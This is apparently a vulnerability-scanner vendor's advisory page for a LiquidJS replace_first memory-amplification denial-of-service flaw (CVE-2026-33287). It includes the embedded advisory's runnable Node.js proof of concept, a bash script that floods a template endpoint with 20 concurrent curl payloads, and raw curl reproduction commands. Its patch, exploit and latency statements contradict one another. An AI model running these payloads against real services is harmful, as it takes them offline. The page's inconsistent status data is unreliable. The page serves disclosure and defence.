How severe is GHSA-6q5m-63h6-5x4v?

GHSA-6q5m-63h6-5x4v has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-6q5m-63h6-5x4v?

GHSA-6q5m-63h6-5x4v affects the following packages: liquidjs (npm). Ecosystems affected: npm.

How do I fix GHSA-6q5m-63h6-5x4v?

The records we use list no patched version of liquidjs for GHSA-6q5m-63h6-5x4v. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

How do I detect GHSA-6q5m-63h6-5x4v in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-6q5m-63h6-5x4v if there is no patch (or I can't update yet)?

Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Is GHSA-6q5m-63h6-5x4v actively exploited in the wild?

No public exploit code has been indexed for GHSA-6q5m-63h6-5x4v yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-6q5m-63h6-5x4v?

GHSA-6q5m-63h6-5x4v has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 42th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-6q5m-63h6-5x4v?

GHSA-6q5m-63h6-5x4v is classified as Improper Input Validation (CWE-20), Uncontrolled Resource Consumption (CWE-400). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-6q5m-63h6-5x4v published, and has it been updated?

GHSA-6q5m-63h6-5x4v was published on March 25, 2026 and was last updated on March 30, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦

📦 npm

Not in CISA KEV

HIGH severity

LiquidJS has Exponential Memory Amplification through its replace_first Filter $& PatternGHSA-6q5m-63h6-5x4v

HIGHFix: harttle/liquidjs@35d5230

GHSA-6q5m-63h6-5x4v is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in liquidjs. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Also known asCVE-2026-33287

Published

Mar 25, 2026

Updated

Mar 30, 2026

Affected

1 pkg

Patched

See advisory

Exploits

None indexed

Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6q5m-63h6-5x4v.

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

720other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

liquidjsnpm

3.4Mdownloads / week

Description

Summary

The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.

Details

The replace_first filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and $` (insert the portion before the match).

The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.

An attacker can build a 1MB string (within memoryLimit budget), then use replace_first with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.

By chaining this technique across multiple variable assignments, exponential amplification is achieved:

Stage	Input Size	`$&` Repetitions	Output Size	Cumulative `memoryLimit` Charge
1	1 byte	50	50 bytes	~1 byte
2	50 bytes	50	2,500 bytes	~51 bytes
3	2,500 bytes	50	125 KB	~2.6 KB
4	125 KB	50	6.25 MB	~128 KB
5	6.25 MB	50	312.5 MB	~6.38 MB

Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).

Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replace_last filter uses manual substring operations and is also safe. Only replace_first is affected.

// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)  // Only charges input
  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!
}

// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal
}

PoC

Prerequisites:

npm install [email protected]
An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)

Save the following as poc_replace_first_amplification.js and run with node poc_replace_first_amplification.js:

const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 — Verify $& expansion in replace_first
  console.log('=== Step 1: $& expansion in replace_first ===');
  const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
  console.log('Result:', await engine.parseAndRender(step1));
  // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

  // Step 2 — Verify replace (split/join) is safe
  console.log('\n=== Step 2: replace is safe ===');
  const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
  console.log('Result:', await engine.parseAndRender(step2));
  // Output: "$&$&$&" — $& treated as literal

  // Step 3 — 5-stage exponential amplification (50x per stage)
  console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
  const amp50 = '$&'.repeat(50);
  const step3 = [
    '{% assign s = "A" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{{ s | size }}'
  ].join('');

  const startMem = process.memoryUsage().heapUsed;
  const result = await engine.parseAndRender(step3);
  const endMem = process.memoryUsage().heapUsed;

  console.log('Output string size:', result.trim(), 'bytes');  // "312500000"
  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
})();

Expected output:

=== Step 1: $& expansion in replace_first ===
Result: HELLO-HELLO-HELLO

=== Step 2: replace is safe ===
Result: $&$&$&

=== Step 3: Exponential amplification (625,000:1) ===
Output string size: 312500000 bytes
Heap increase: ~625.0 MB
Amplification: ~625,000:1 (1 byte input → 312.5 MB output)
memoryLimit charged: < 7 MB (only input lengths counted)

The memoryLimit of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.

Demonstrated Denial of Service (concurrent attack)

After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.

Raw Liquid template payload sent by attacker:

{% assign s = "A" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{{ s }}

$& is a JavaScript String.prototype.replace() backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). {{ s }} forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.

#!/bin/bash
# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement

DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
  (
    t1=$(date +%s%3N)
    curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "template=$PAYLOAD"
    t2=$(date +%s%3N)
    echo "DoS[$i]: $(( t2 - t1 ))ms"
  ) &
done

# Legitimate user requests at 0s, 3s, 6s
(
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[0s]: $(( t2 - t1 ))ms"
) &

(
  sleep 3
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[3s]: $(( t2 - t1 ))ms"
) &

(
  sleep 6
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[6s]: $(( t2 - t1 ))ms"
) &

wait
echo "=== Done ==="

Empirical results (Node.js v20.20.1, LiquidJS 10.24.0):

Normal[0s]:  13047ms  ← request sent concurrently with attack — 13s delay
Normal[3s]:  10124ms  ← still blocked 3 seconds later — 10s delay
Normal[6s]:   7186ms  ← still blocked 6 seconds later — 7s delay
DoS[1]:      14729ms
DoS[2-20]:   17747ms ~ 25353ms

With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.

HTTP Reproduction (for applications that accept user templates)

# $& expansion — should return "HELLO-HELLO-HELLO"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}'

# replace is safe — should return literal "$&$&$&"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'

# 5-stage 50x amplification — produces ~312.5MB response
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}'

# 20 concurrent DoS attack requests
for i in $(seq 1 20); do
  curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' &
done

# Legitimate user request (concurrent)
curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'template=<h1>Hello</h1>' &

wait

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.

Impact

memoryLimit security bypass: The memory limit is rendered ineffective for templates using replace_first with $& patterns.
Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.
Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):

Concurrent Attack Requests Legitimate User Latency vs. Baseline Server Blocked
10 3.2s 640x ~11s
20 10.9s 2,180x ~29s

With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.

Concurrent Attack Requests	Legitimate User Latency	vs. Baseline	Server Blocked
10	3.2s	640x	~11s
20	10.9s	2,180x	~29s

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
📦npm	`liquidjs`	all versions	No fix

Affected Products

1 product · 1 configurations

Application

liquidjsliquidjs

< 10.25.1

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of liquidjs for GHSA-6q5m-63h6-5x4v. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary The `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. ### Details The `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replac

O3 Security · Impact-Aware SCA

Is GHSA-6q5m-63h6-5x4v in your dependencies?

Find it across npm, including transitive dependencies.

Scan my dependencies How O3 SCA works

CVSS Score

7.5/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

High

Raw vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE Classification

CWE-20Improper Input Validation CWE-400Uncontrolled Resource Consumption

Weaponization

No Nuclei template, Metasploit module or public proof-of-concept found.

Timeline

Disclosed

Mar 25, 2026

Last updated

Mar 30, 2026

Identifiers

GHSA-6q5m-63h6-5x4v

References

Advisorynvd.nist.gov · CVE 2026 33287 Webgithub.com · GHSA 6q5m 63h6 5x4v Webgithub.com · 35d523026345d80458df24c72e653db78b5d061d Packagegithub.com · liquidjs

Related vulnerabilities

This CVE is high severity; 4 of 8 other CVEs affecting liquidjs are rated as high or higher (top: critical).

CVE-2026-106120CVE-2026-69222CVE-2026-61556CVE-2026-55575CVE-2026-44644CVE-2026-44645CVE-2026-44646CVE-2026-45618

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedMar 30, 2026

LiquidJS has Exponential Memory Amplification through its replace_first Filter $& PatternGHSA-6q5m-63h6-5x4v

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

PoC

Demonstrated Denial of Service (concurrent attack)

HTTP Reproduction (for applications that accept user templates)

Impact

Affected Packages

Affected Products

Detection & mitigation playbook

Detect

Remediation status

Mitigate without a patch

Frequently Asked Questions

Is GHSA-6q5m-63h6-5x4v in your dependencies?